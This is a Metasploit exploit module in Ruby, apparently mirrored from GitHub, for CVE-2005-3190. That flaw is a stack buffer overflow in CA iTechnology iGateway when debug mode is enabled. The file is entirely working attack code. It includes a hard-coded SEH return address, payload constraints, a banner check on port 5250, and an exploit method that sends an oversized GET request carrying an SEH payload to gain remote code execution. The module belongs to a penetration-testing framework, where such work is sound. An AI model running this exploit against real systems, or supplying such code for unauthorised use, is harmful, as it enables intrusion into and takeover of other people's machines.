modules/exploits/windows/http/ca_igateway_debug.rb - master - githubmirror/metasploit-framework

modules/exploits/windows/http/ca_igateway_debug.rb

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adfoster-r7

Add human-readable descriptions to CheckCode returns in windows/http exploit modules

23 апр 2026, 17:37

23 апр 2026, 17:37370c35c

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability in the Computer Associates
          iTechnology iGateway component. When <Debug>True</Debug> is enabled
          in igateway.conf (non-default), it is possible to overwrite the stack
          and execute code remotely. This module works best with Ordinal payloads.
        },
        'Author' => 'aushack',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-3190' ],
          [ 'OSVDB', '19920' ],
          [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
          [ 'EDB', '1243' ],
          [ 'BID', '15025' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
          'Compat' =>
                      {
                        'ConnectionType' => '+ws2ord',
                      },
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
        ],
        'Privileged' => true,
        'DisclosureDate' => '2005-10-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5250),
      ]
    )
  end

  def check
    connect
    sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")
    banner = sock.get_once

    if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?
      return Exploit::CheckCode::Detected('Target service detected')
    end

    return Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    connect

    seh = generate_seh_payload(target.ret)
    buffer = Rex::Text.rand_text_alphanumeric(5000)
    buffer[1082, seh.length] = seh
    sploit = "GET /" + buffer + " HTTP/1.0"

    sock.put(sploit + "\r\n\r\n\r\n")

    disconnect
    handler
  end
end